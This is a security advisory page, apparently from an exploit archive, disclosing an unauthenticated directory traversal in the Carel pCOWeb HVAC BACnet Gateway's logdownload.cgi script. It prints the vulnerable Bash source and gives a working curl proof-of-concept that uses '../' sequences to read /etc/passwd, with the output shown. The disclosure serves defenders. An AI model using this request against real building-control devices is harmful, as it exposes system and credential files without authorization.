

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal

Authored by [LiquidWorm](#) | Site [zeroscience.mk](#)

Posted Jul 1, 2022

Carel pCOWeb HVAC BACnet Gateway version 2.1.0 suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the file GET parameter through the logdownload.cgi bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

tags | [exploit](#), [arbitrary](#), [cgi](#), [bash](#)SHA-256 | 6080b06695bafffc697537b01af1fe9b2c39e6c9237b59563f645f36adbc81cb [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)[Download](#)

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal

Vendor: CAREL INDUSTRIES S.p.A.
Product web page: <https://www.carel.com>
Affected version: Firmware: A2.1.0 - B2.1.0
Application Software: 2.15.4A
Software version: v16 13020200

Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R applications and systems. It consists of programmable controllers, user interfaces, gateways and communication interfaces, remote management systems to offer the OEMs working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced to the more widely-used Building Management Systems, and can also be integrated into proprietary supervisory systems.

Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

=====

/usr/local/www/usr-cgi/logdownload.cgi:

```
01: #!/bin/bash
02:
03: if [ "$REQUEST_METHOD" = "POST" ]; then
04:     read QUERY_STRING
05:     REQUEST_METHOD=GET
06:     export REQUEST_METHOD
07:     export QUERY_STRING
08: fi
09:
10: LOGDIR="/usr/local/root/flash/http/log"
11:
12: tmp=${QUERY_STRING%"*"}
13: cmd=${tmp%"*"}
14: if [ "$cmd" = "dir" ]; then
15:     PATHCURRENT=$LOGDIR/${tmp#"*"}
16: else
17:     PATHCURRENT=$LOGDIR
18: fi
19:
20: tmp=${QUERY_STRING%"*"}
21: cmd=${tmp%"*"}
22: if [ "$cmd" = "file" ]; then
23:     FILECURRENT=${tmp#"*"}
24: else
25:     if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
26:         FILECURRENT=lastlog.csv.gz
27:     else
28:         FILECURRENT=lastlog.csv
29:     fi
30: fi
31:
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
33:     echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
34:     cat carel.inc.html
35:     echo "<center>File not available!</center>"
36:     cat carel.bottom.html
37:     exit
38: fi
39:
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
41:     if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
42:         if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
43:             echo -ne "Content-Type: text/csv\r\n"
```

Search ...



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

[Red Hat 188 files](#)[Ubuntu 57 files](#)[Gentoo 44 files](#)[Debian 28 files](#)[Apple 25 files](#)[Google Security Research 14 files](#)[malvuln 10 files](#)[nu11secu1ty 6 files](#)[mjurczyk 4 files](#)[George Tsimpidas 3 files](#)

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
44:         else
45:             echo -ne "Content-Type: image/svg+xml\r\n"
46:         fi
47:     else
48:         echo -ne "Content-Type: image/bmp\r\n"
49:     fi
50: else
51:     echo -ne "Content-Type: application/x-gzip\r\n"
52: fi
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
54:
55: cat $PATHCURRENT/$FILECURRENT

=====

Tested on: GNU/Linux 4.11.12 (armv7l)
          thttpd/2.29

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                        @zeroscience

Advisory ID: ZSL-2022-5709
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php

10.05.2022

--

$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
guest:x:502:101::/home/guest:/bin/bash
carel:x:500:500:Carel:/home/carel:/bin/bash
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
sshd:x:1000:1001:SSH drop priv user:/bin/false
```

[Login](#) or [Register](#) to add favorites

- Intrusion Detection (866) BSD (370)
- Java (2,888) CentOS (55)
- JavaScript (817) Cisco (1,917)
- Kernel (6,255) Debian (6,620)
- Local (14,173) Fedora (1,690)
- Magazine (586) FreeBSD (1,242)
- Overflow (12,390) Gentoo (4,272)
- Perl (1,417) HPUX (878)
- PHP (5,087) iOS (330)
- Proof of Concept (2,290) iPhone (108)
- Protocol (3,426) IRIX (220)
- Python (1,449) Juniper (67)
- Remote (30,009) Linux (44,118)
- Root (3,496) Mac OS X (684)
- Ruby (594) Mandriva (3,105)
- Scanner (1,631) NetBSD (255)
- Security Tool (7,768) OpenBSD (479)
- Shell (3,098) RedHat (12,339)
- Shellcode (1,204) Slackware (941)
- Sniffer (885) Solaris (1,607)
- Spoof (2,165) SUSE (1,444)
- SQL Injection (16,089) Ubuntu (8,147)
- TCP (2,377) UNIX (9,150)
- Trojan (685) UnixWare (185)
- UDP (875) Windows (6,504)
- Virus (661) Other
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed